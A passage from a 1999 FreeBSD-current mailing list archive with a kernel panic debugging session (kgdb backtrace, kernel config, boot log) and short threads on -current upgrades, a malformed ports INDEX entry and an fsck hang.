212 211 210 209 208 207 206 205 204 203 202 201 200 199 198 197 196 195 19= 4 193 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177 176 1= 75 174 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 = 156 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138= 137 136 135 134 133 132 131 130 129 128 127 126 125 124 123 122 121 120 11= 9 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 1= 00 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 = 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 = 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 = 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0=20 --- #0 boot (howto=3D260) at ../../kern/kern_shutdown.c:280 280=09=09=09dumppcb.pcb_cr3 =3D rcr3(); (kgdb) bt #0 boot (howto=3D260) at ../../kern/kern_shutdown.c:280 #1 0xc015ff01 in panic (fmt=3D0xc02942f4 "from debugger") at ../../kern/kern_shutdown.c:530 #2 0xc01330a9 in db_panic () at ../../ddb/db_command.c:433 #3 0xc0132e6b in db_command (last_cmdp=3D0xc02c72dc, cmd_table=3D0xc02c713= c,=20 aux_cmd_tablep=3D0xc02e73fc) at ../../ddb/db_command.c:333 #4 0xc0133042 in db_command_loop () at ../../ddb/db_command.c:455 #5 0xc013544f in db_trap (type=3D3, code=3D0) at ../../ddb/db_trap.c:71 #6 0xc025638e in kdb_trap (type=3D3, code=3D0, regs=3D0xd8cf2cac) at ../../i386/i386/db_interface.c:157 #7 0xc026b7f7 in trap (frame=3D{tf_fs =3D -1044316136, tf_es =3D 135548110= 4,=20 tf_ds =3D 713621520, tf_edi =3D -657511060, tf_esi =3D -1044161536,= =20 tf_ebp =3D -657511160, tf_isp =3D -657511208, tf_ebx =3D -1044161536,= =20 tf_edx =3D 760, tf_ecx =3D 1, tf_eax =3D 1, tf_trapno =3D 3, tf_err = =3D 0,=20 tf_eip =3D -1071090469, tf_cs =3D 8, tf_eflags =3D 70, tf_esp =3D -10= 44161536,=20 tf_ss =3D 14}) at ../../i386/i386/trap.c:534 #8 0xc02874db in siointr1 (com=3D0xc1c35c00) at machine/cpufunc.h:64 #9 0xc0288d67 in siointr (arg=3D0xc1c35c00) at ../../isa/sio.c:1575 #10 0xc02573ad in Xfastintr3 () #11 0xc1d5f8f6 in ?? () #12 0xc1d5f6ce in ?? () #13 0xc1d5f4ca in ?? () #14 0xc019e11e in spec_strategy (ap=3D0xd8cf2e28) at ../../miscfs/specfs/spec_vnops.c:679 #15 0xc019ddf5 in spec_vnoperate (ap=3D0xd8cf2e28) at ../../miscfs/specfs/spec_vnops.c:130 #16 0xc021cfb1 in ufs_vnoperatespec (ap=3D0xd8cf2e28) at ../../ufs/ufs/ufs_vnops.c:2313 #17 0xc021cb8b in ufs_strategy (ap=3D0xd8cf2e6c) at vnode_if.h:940 #18 0xc021cf81 in ufs_vnoperate (ap=3D0xd8cf2e6c) at ../../ufs/ufs/ufs_vnops.c:2295 #19 0xc0184c91 in bwrite (bp=3D0xcc4082c0) at vnode_if.h:940 #20 0xc018a3b2 in vop_stdbwrite (ap=3D0xd8cf2ea8) at ../../kern/vfs_default= =2Ec:312 #21 0xc018a655 in vop_defaultop (ap=3D0xd8cf2ea8) at ../../kern/vfs_default= =2Ec:134 #22 0xc021cf81 in ufs_vnoperate (ap=3D0xd8cf2ea8) at ../../ufs/ufs/ufs_vnops.c:2295 #23 0xc0187d16 in bawrite (bp=3D0xcc4082c0) at vnode_if.h:1189 #24 0xc021654f in ffs_fsync (ap=3D0xd8cf2f14) at ../../ufs/ffs/ffs_vnops.c:= 189 #25 0xc01921e6 in fsync (p=3D0xd8cbe380, uap=3D0xd8cf2f80) at vnode_if.h:53= 3 #26 0xc026c0b6 in syscall (frame=3D{tf_fs =3D -657522641, tf_es =3D -107112= 0337,=20 tf_ds =3D -1044381649, tf_edi =3D 40, tf_esi =3D 0, tf_ebp =3D -10779= 50544,=20 tf_isp =3D -657510444, tf_ebx =3D 11829344, tf_edx =3D 0, tf_ecx =3D = 282484744,=20 tf_eax =3D 95, tf_trapno =3D 22, tf_err =3D 7, tf_eip =3D 282315041, = tf_cs =3D 31,=20 tf_eflags =3D 514, tf_esp =3D -1077950564, tf_ss =3D 47}) at ../../i386/i386/trap.c:1058 #27 0x10d3c921 in ?? () #28 0x29f962 in ?? () #29 0x2bacd7 in ?? () #30 0x2b2826 in ?? () #31 0x6b9b4 in ?? () #32 0x10b72ca3 in ?? () #33 0x55b6e in ?? () #34 0x58ca1 in ?? () #35 0x1095 in ?? () (kgdb) up 14 #14 0xc019e11e in spec_strategy (ap=3D0xd8cf2e28) at ../../miscfs/specfs/spec_vnops.c:679 679=09=09BUF_STRATEGY(bp, 0); (kgdb) print bp $1 =3D (struct buf *) 0xd8cbe380 (kgdb) print *bp $2 =3D {b_hash =3D {le_next =3D 0x0, le_prev =3D 0xd64dc800}, b_vnbufs =3D = { tqe_next =3D 0xd8cbd300, tqe_prev =3D 0xd64d8f08}, b_freelist =3D { tqe_next =3D 0xc1f119c0, tqe_prev =3D 0xc1f2cd00}, b_act =3D { tqe_next =3D 0xd8cf1b78, tqe_prev =3D 0xc1ed6200}, b_flags =3D -6575354= 24,=20 b_qindex =3D 46400, b_unused1 =3D 244 '=F4', b_xflags =3D 193 '=C1', b_lo= ck =3D { lk_interlock =3D {lock_data =3D 16390}, lk_flags =3D 2, lk_sharecount = =3D 560,=20 lk_waitcount =3D 0, lk_exclusivecount =3D 22720, lk_prio =3D -15936,=20 lk_wmesg =3D 0xd64d8f00 "", lk_timo =3D -1041165592,=20 lk_lockholder =3D -657724672}, b_error =3D -657728512, b_bufsize =3D -6= 57724592,=20 b_bcount =3D -699560192, b_resid =3D -868633832, b_dev =3D 0x0, b_data = =3D 0x0,=20 b_kvabase =3D 0xd8cdbd00 "`\214=CD=D8=ECr=CD=D8", b_kvasize =3D 2041, b_l= blkno =3D 2017,=20 b_blkno =3D 451, b_offset =3D -4479286594896920576, b_iodone =3D 0xe5,=20 b_iodone_chain =3D 0x0, b_vp =3D 0x0, b_dirtyoff =3D 50000, b_dirtyend = =3D 5274,=20 b_rcred =3D 0x7bf56, b_wcred =3D 0xe553fd, b_pblkno =3D 0, b_saveaddr =3D= 0x317,=20 b_driver1 =3D 0x0, b_driver2 =3D 0x993, b_caller1 =3D 0x0, b_caller2 =3D = 0x3,=20 b_pager =3D {pg_spc =3D 0x0, pg_reqpage =3D 0}, b_cluster =3D {cluster_he= ad =3D { tqh_first =3D 0x0, tqh_last =3D 0x0}, cluster_entry =3D {tqe_next =3D= 0x0,=20 tqe_prev =3D 0x0}}, b_pages =3D {0x2000, 0x0, 0x0, 0x0, 0xd8cd3b60,= =20 0x4000000, 0xfd6f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x14, 0x0, 0x0, 0x0, 0= x0,=20 0x8, 0x7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4, 0x6e007f10, 0x63737465,=20 0x657061, 0x0, 0x0}, b_npages =3D -1041165600, b_dep =3D { lh_first =3D 0xc02c9c20}, b_chain =3D {parent =3D 0x1, count =3D 0}} (kgdb) print *(((struct vop_strategy_args *) 0xd8cf2e28)->a_bp) $3 =3D {b_hash =3D {le_next =3D 0xcc4f3d78, le_prev =3D 0xcc648340}, b_vnbu= fs =3D { tqe_next =3D 0x0, tqe_prev =3D 0xd8d5808c}, b_freelist =3D {tqe_next = =3D 0x0,=20 tqe_prev =3D 0xcc3f7330}, b_act =3D {tqe_next =3D 0x0, tqe_prev =3D 0x0= },=20 b_flags =3D 553783332, b_qindex =3D 0, b_unused1 =3D 0 '\000',=20 b_xflags =3D 2 '\002', b_lock =3D {lk_interlock =3D {lock_data =3D 0},=20 lk_flags =3D 1024, lk_sharecount =3D 0, lk_waitcount =3D 0,=20 lk_exclusivecount =3D 1, lk_prio =3D 20, lk_wmesg =3D 0xc029d3d4 "bufwa= it",=20 lk_timo =3D 0, lk_lockholder =3D -2}, b_error =3D 0, b_bufsize =3D 5120= ,=20 b_bcount =3D 5120, b_resid =3D 5120, b_dev =3D 0xc1e1e380,=20 b_data =3D 0xccb0f000 "=FF=D8=FF=E0", b_kvabase =3D 0xccb0f000 "=FF=D8=FF= =E0", b_kvasize =3D 8192,=20 b_lblkno =3D 0, b_blkno =3D 18953248, b_offset =3D 0, b_iodone =3D 0,=20 b_iodone_chain =3D 0x0, b_vp =3D 0xd8d58060, b_dirtyoff =3D 0, b_dirtyend= =3D 0,=20 b_rcred =3D 0x0, b_wcred =3D 0x0, b_pblkno =3D 18953248, b_saveaddr =3D 0= x0,=20 b_driver1 =3D 0x0, b_driver2 =3D 0x0, b_caller1 =3D 0x0, b_caller2 =3D 0x= 0,=20 b_pager =3D {pg_spc =3D 0x0, pg_reqpage =3D 0}, b_cluster =3D {cluster_he= ad =3D { tqh_first =3D 0x0, tqh_last =3D 0x0}, cluster_entry =3D {tqe_next =3D= 0x0,=20 tqe_prev =3D 0x0}}, b_pages =3D {0xc0709e10, 0xc0720040,=20 0x0 }, b_npages =3D 2, b_dep =3D {lh_first =3D 0xc1f3= 2dc0},=20 b_chain =3D {parent =3D 0x0, count =3D 0}} (kgdb) print *(((struct vop_strategy_args *) 0xd8cf2e28)->a_vp) $4 =3D {v_flag =3D 2105344, v_usecount =3D 434, v_writecount =3D 0, v_holdc= nt =3D 200,=20 v_id =3D 174, v_mount =3D 0xc1c23600, v_op =3D 0xc1c07500, v_freelist =3D= { tqe_next =3D 0xd64d7b00, tqe_prev =3D 0xd64d5b3c}, v_mntvnodes =3D { le_next =3D 0xd64d77e0, le_prev =3D 0xd64d74e4}, v_cleanblkhd =3D { tqh_first =3D 0xcc3db3f8, tqh_last =3D 0xcc3fbec0}, v_dirtyblkhd =3D { tqh_first =3D 0xcc46cfd8, tqh_last =3D 0xcc3f9850}, v_synclist =3D { le_next =3D 0x0, le_prev =3D 0xc1c331d0}, v_numoutput =3D 1, v_type =3D= VBLK,=20 v_un =3D {vu_mountedhere =3D 0xc1e1e380, vu_socket =3D 0xc1e1e380, vu_spe= c =3D { vu_specinfo =3D 0xc1e1e380, vu_specnext =3D {sle_next =3D 0x0}},=20 vu_fifoinfo =3D 0xc1e1e380}, v_lease =3D 0x0, v_lastw =3D 0, v_cstart = =3D 0,=20 v_lasta =3D 0, v_clen =3D 0, v_object =3D 0xc02f6ee0, v_interlock =3D { lock_data =3D 0}, v_vnlock =3D 0x0, v_tag =3D VT_UFS, v_data =3D 0xc1d2= 8000,=20 v_cache_src =3D {lh_first =3D 0x0}, v_cache_dst =3D {tqh_first =3D 0xc1d4= fb00,=20 tqh_last =3D 0xc1d4fb10}, v_dd =3D 0xd64d7600, v_ddid =3D 0, v_pollinfo= =3D { vpi_lock =3D {lock_data =3D 0}, vpi_selinfo =3D {si_pid =3D 0, si_flags= =3D 0},=20 vpi_events =3D 0, vpi_revents =3D 0}} (kgdb) Script done on Fri Oct 29 23:55:14 1999 # Thumper machine=09=09"i386" cpu=09=09"I686_CPU" ident=09=09"thumper" maxusers=09256 # Create a SMP capable kernel (mandatory options): options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O options NCPU=3D4 # number of CPUs options NBUS=3D5 # number of busses options NAPIC=3D2 # number of IO APICs options NINTR=3D25 # number of INTs =20 options=09=09INVARIANTS options INCLUDE_CONFIG_FILE # Include this file in kernel #CPU/Machine Options options=09=09USER_LDT=09=09#allow user-level control of i386 ldt options=09=09KTRACE=09=09=09#kernel tracing options=09=09PERFMON options=09=09DDB options=09=09BREAK_TO_DEBUGGER=09#a BREAK on a comconsole goes to=20 options=09=09P1003_1B options=09=09_KPOSIX_PRIORITY_SCHEDULING options=09=09_KPOSIX_VERSION=3D199309L #File systems options=09=09FDESC=09=09=09#File descriptor filesystem options=09=09KERNFS=09=09=09#Kernel filesystem options=09=09UMAPFS=09=09=09#UID map filesystem options=09=09NULLFS=09=09=09#NULL filesystem options=09=09MFS=09=09=09#Memory File System options=09=09INET=09=09=09#InterNETworking options=09=09FFS=09=09=09#Berkeley Fast Filesystem options=09=09SOFTUPDATES options=09=09NFS=09=09=09#Network Filesystem options=09=09MSDOSFS=09=09=09#MSDOS Filesystem options=09=09CD9660=09=09#ISO 9660 Filesystem options=09=09FFS_ROOT=09=09#FFS usable as root device [keep this!] options=09=09PROCFS=09=09=09#Process filesystem options=09=09COMPAT_43=09=09#Compatible with BSD 4.3 [KEEP THIS!] options=09=09SCSI_DELAY=3D6000=09=09#Be pessimistic about Joe SCSI device options=09=09UCONSOLE=09=09#Allow users to grab the console #options=09=09FAILSAFE=09=09#Be conservative options=09=09USERCONFIG=09=09#boot -c editor options=09=09VISUAL_USERCONFIG=09#visual boot -c editor options=09=09KTRACE=09=09#kernel tracing=20 options=09=09SYSVSHM options=09=09SYSVSEM options=09=09SYSVMSG options=09=09MAXDSIZ=3D(256*1024*1024) options=09=09DFLDSIZ=3D(256*1024*1024) options ICMP_BANDLIM #Devices controller=09isa0 controller=09eisa0 controller=09pci0 controller=09fdc0=09at isa? port "IO_FD1" irq 6 drq 2=20 disk=09=09fd0=09at fdc0 drive 0 disk=09=09fd1=09at fdc0 drive 1 controller=09wdc0=09at isa? port "IO_WD1" irq 14 flags 0xe0ffe0ff=20 disk=09=09wd0=09at wdc0 drive 0 disk=09=09wd1=09at wdc0 drive 1 controller=09wdc1=09at isa? port "IO_WD2" irq 15 flags 0xe0ffe0ff=20 disk=09=09wd2=09at wdc1 drive 0 disk=09=09wd3=09at wdc1 drive 1 device=09=09wcd0=09=09#IDE CD-ROM #SCSI controller=09scbus0 controller=09ahc0 device=09=09da0 device=09=09sa0 #SCSI tapes device=09=09cd0 #SCSI CD-ROMs device=09=09pass0 #Sound/PnP controller=09pnp0 device pcm0 at isa? port 0x220 irq 10 drq 3 flags 0x15=20 #Parrallel Port controller=09ppbus0 controller=09vpo0=09at ppbus? device=09=09lpt0=09at ppbus? device=09=09ppi0=09at ppbus? controller=09ppc0=09at isa? port ? irq 7=20 # syscons is the default console driver, resembling an SCO console device=09=09sc0=09at isa?=20 options=09=09SC_HISTORY_SIZE=3D200=09# number of history buffer lines options=09=09SC_DISABLE_REBOOT=09# disable reboot key sequence # The keyboard controller; it controlls the keyboard and the PS/2 mouse. controller atkbdc0 at isa? port IO_KBD=20 # The AT keyboard device atkbd0 at atkbdc? irq 1 # PS/2 mouse device psm0 at atkbdc? irq 12 # The video card driver. device vga0 at isa? port ? conflicts # Splash screen at start up! Screen savers require this too. pseudo-device splash =20 device=09=09npx0=09at nexus? port "IO_NPX" irq 13=20 # Laptop support (see LINT for more options) device=09=09apm0 at nexus? flags 0x31 # Advanced Power Management device=09=09sio0=09at isa? port "IO_COM1" irq 4=20 device=09=09sio1=09at isa? port "IO_COM2" irq 3=20 controller smbus0 device smb0 at smbus? controller iicbus0 controller iicbb0 device ic0 at iicbus? device iic0 at iicbus? device iicsmb0 at iicbus? device bktr0 = =20 device ed0 at pci? pseudo-device=09vn=094 pseudo-device=09loop pseudo-device=09ether pseudo-device=09sl=091 pseudo-device=09ppp=091 pseudo-device=09tun=091 pseudo-device=09pty=09256 pseudo-device=09bpf =094 pseudo-device=09snp=094 pseudo-device=09gzip=09=09# Exec gzipped a.out's device fxp0 options INVARIANT_SUPPORT Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 =09The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #1: Fri Oct 29 10:59:17 PDT 1999 bright@thumper:/home/src/sys/compile/thumper Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (400.91-MHz 686-class CPU) Origin =3D "GenuineIntel" Id =3D 0x652 Stepping =3D 2 Features=3D0x183fbff real memory =3D 536858624 (524276K bytes) config> irq pcm0 5 config> flag sio1 0x30 avail memory =3D 517152768 (505032K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc0358000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc035809c. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 16 at device 0.0 on = pci1 isab0: at device 4.0 on pci0 isa0: on isab0 ide_pci0: at device 4.1 on pci0 chip1: irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: at device 4.3 on pci0 ahc0: irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=3D7, 16/255 SCBs bktr0: irq 17 at device 11.0 on pci0 iicbb0: on bti2c0 iicbus0: on iicbb0 master-only iicsmb0: on iicbus0 smbus0: on iicsmb0 smb0: on smbus0 iic0: on iicbus0 smbus1: on bti2c0 smb1: on smbus1 bktr0: Hauppauge Model 62471 A2 =20 Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, dbx stereo. pci0: unknown card (vendor=3D0x109e, dev=3D0x0878) at 11.1 irq 17 fxp0: irq 16 at device 12.0 on pc= i0 fxp0: Ethernet address 00:90:27:3c:77:aa fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 wdc0 at port 0x1f0-0x1f7 irq 14 flags 0xe0ffe0ff on isa0 wdc0: unit 0 (wd0): , DMA, 32-bit, multi-block-16, sleep-ha= ck wd0: 2442MB (5001696 sectors), 4962 cyls, 16 heads, 63 S/T, 512 B/S pcm0: at port 0x220-0x22f irq 5 drq 3 flags 0x15 on i= sa0 ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/9 bytes threshold lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=3D0x0> atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 flags 0x30 on isa0 sio1: type 16550A, console Waiting 6 seconds for SCSI devices to settle SMP: AP CPU #1 Launched! Creating DISK da0 Creating DISK da1 Creating DISK cd0 Creating DISK cd1 da0 at ahc0 bus 0 target 2 lun 0 da0: Fixed Direct Access SCSI-2 device=20 da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing En= abled da0: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) da1 at ahc0 bus 0 target 4 lun 0 da1: Fixed Direct Access SCSI-2 device=20 da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing En= abled da1: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) cd0 at ahc0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-2 device=20 cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: cd present [213264 x 2048 byte records] changing root device to wd0s1a WARNING: / was not properly dismounted vinum: loaded vinum: reading configuration from /dev/da0s1e vinum: updating configuration from /dev/da1s1e cd1 at ahc0 bus 0 target 3 lun 0 cd1: Removable CD-ROM SCSI-2 device=20 cd1: 8.333MB/s transfers (8.333MHz, offset 31) cd1: Attempt to query device size failed: NOT READY, Medium not present - t= ray closed -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 20:28:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id B94FA14E48 for ; Fri, 29 Oct 1999 20:28:43 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id UAA15805; Fri, 29 Oct 1999 20:28:40 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Date: Fri, 29 Oct 1999 20:28:40 -0700 (PDT) From: Doug White To: Ben Rosengart Cc: Randy Bush , FreeBSD Current Subject: Re: -stable to -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Ben Rosengart wrote: > On Fri, 29 Oct 1999, Doug White wrote: > > > I still hate the way the signal change was handled. > > How would you have done it differently? As I understand it, the pain > was more or less inevitable. Perhaps, but there must be a way to keep gcc from dying. I don't fully understand the mechanics involved so I will shut up until I teach myself about the syscall handling and concoct a better solution :) Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 20:57:32 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 25A5F14D4E for ; Fri, 29 Oct 1999 20:57:30 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id VAA08114; Fri, 29 Oct 1999 21:20:23 -0700 (PDT) Date: Fri, 29 Oct 1999 21:20:23 -0700 (PDT) From: Alfred Perlstein To: Doug White Cc: Ben Rosengart , Randy Bush , FreeBSD Current Subject: Re: -stable to -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Doug White wrote: > On Fri, 29 Oct 1999, Ben Rosengart wrote: > > > On Fri, 29 Oct 1999, Doug White wrote: > > > > > I still hate the way the signal change was handled. > > > > How would you have done it differently? As I understand it, the pain > > was more or less inevitable. > > Perhaps, but there must be a way to keep gcc from dying. > > I don't fully understand the mechanics involved so I will shut up until I > teach myself about the syscall handling and concoct a better solution :) Since there were syscalls added, the newly compiled gcc calls system calls in the kernel that don't exist... _yet_ I like the idea of some sort of date/version checking, but it's not being checked just yet. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 21: 3:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from lamb.sas.com (lamb.sas.com [192.35.83.8]) by hub.freebsd.org (Postfix) with ESMTP id 0364014C16 for ; Fri, 29 Oct 1999 21:03:25 -0700 (PDT) (envelope-from jwd@unx.sas.com) Received: from mozart (mozart.unx.sas.com [192.58.184.28]) by lamb.sas.com (8.9.3/8.9.1) with SMTP id AAA27048 for ; Sat, 30 Oct 1999 00:03:23 -0400 (EDT) Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA17701; Sat, 30 Oct 1999 00:02:53 -0400 Received: (from jwd@localhost) by bb01f39.unx.sas.com (8.9.1/8.9.1) id AAA58705 for freebsd-current@freebsd.org; Sat, 30 Oct 1999 00:02:53 -0400 (EDT) (envelope-from jwd) From: "John W. DeBoskey" Message-Id: <199910300402.AAA58705@bb01f39.unx.sas.com> Subject: 4.0 packages INDEX file - questionable entry? To: freebsd-current@freebsd.org Date: Sat, 30 Oct 1999 00:02:53 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm not real sure were to send this, though I'm sure someone will tell me... but... In writing a few scripts which process the INDEX file, I've come across the following entry which doesn't look right... ja-|/usr/ports/japanese/exmh2|/usr/local|X11/TK based mail reader front end to M H for Japanese environments|/usr/ports/japanese/exmh2/pkg/DESCR|ports@FreeBSD.or g|japanese mail tk80|ja-tcl-8.0.5|ja-less-332 ja-.3.03 ja-tcl-8.0.5 ja-tk-8.0.5 metamail-2.7 xloadimage-4.1| ie: the 1st field appears to have been chopped off... Of course, I could be seeing things too... -John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 22:49:10 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id D8FAB14CF8 for ; Fri, 29 Oct 1999 22:49:07 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.8.7/8.8.7) with ESMTP id WAA01328 for ; Fri, 29 Oct 1999 22:49:06 -0700 Date: Fri, 29 Oct 1999 22:49:03 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: freebsd-current@freebsd.org Subject: ick! blockdev goop with root in -current? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG WARNING: / was not properly dismounted start_init: trying /sbin/init swapon: adding /dev/ad0b as swap device Automatic reboot in progress... /dev/rwd0s4a: 2199 files, 38154 used, 209893 free (277 frags, 26202 blocks, 0.1% fragmentation) [HANGS...] ^Cfsck in free(): warning: page is already free. fsck in free(): warning: page is already free. fsck in free(): warning: chunk is already free. fsck in free(): warning: junk pointer, too low to make sense. fsck: panic: lost 2 buffers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 22:53:36 1999 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 6B8CA14CF8 for ; Fri, 29 Oct 1999 22:53:33 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id HAA11144; Sat, 30 Oct 1999 07:52:57 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: mjacob@feral.com Cc: freebsd-current@FreeBSD.ORG Subject: Re: ick! blockdev goop with root in -current? In-reply-to: Your message of "Fri, 29 Oct 1999 22:49:03 PDT." Date: Sat, 30 Oct 1999 07:52:56 +0200 Message-ID: <11142.941262776@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This has nothing to do with blockdevs. It is an old standing bug in fsck which only happens when you interrupt it. "Uncle Milt" from vicor has a set of fsck patches in for review with Kirk where this should be fixed as well. In all likelyhood your fsck didn't hang but was working its way through things. Try ^T next time rather than ^C Poul-Henning In message , Matthew Jacob writes: > >WARNING: / was not properly dismounted >start_init: trying /sbin/init >swapon: adding /dev/ad0b as swap device >Automatic reboot in progress... >/dev/rwd0s4a: 2199 files, 38154 used, 209893 free (277 frags, 26202 >blocks, 0.1% fragmentation) >[HANGS...] >^Cfsck in free(): warning: page is already free. >fsck in free(): warning: page is already free. >fsck in free(): warning: chunk is already free. >fsck in free(): warning: junk pointer, too low to make sense. >fsck: panic: lost 2 buffers > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 22:55: 0 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 96D6114CF8 for ; Fri, 29 Oct 1999 22:54:58 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.8.7/8.8.7) with ESMTP id WAA01353; Fri, 29 Oct 1999 22:54:49 -0700 Date: Fri, 29 Oct 1999 22:54:46 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Poul-Henning Kamp Cc: freebsd-current@FreeBSD.ORG Subject: Re: ick! blockdev goop with root in -current? In-Reply-To: <11142.941262776@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Poul-Henning Kamp wrote: > > This has nothing to do with blockdevs. It is an old standing bug in fsck > which only happens when you interrupt it. "Uncle Milt" from vicor has a > set of fsck patches in for review with Kirk where this should be fixed > as well. > > In all likelyhood your fsck didn't hang but was working its way through > things. Try ^T next time rather than ^C Okay. Sorry for the false alarm... To Unsubscribe: send 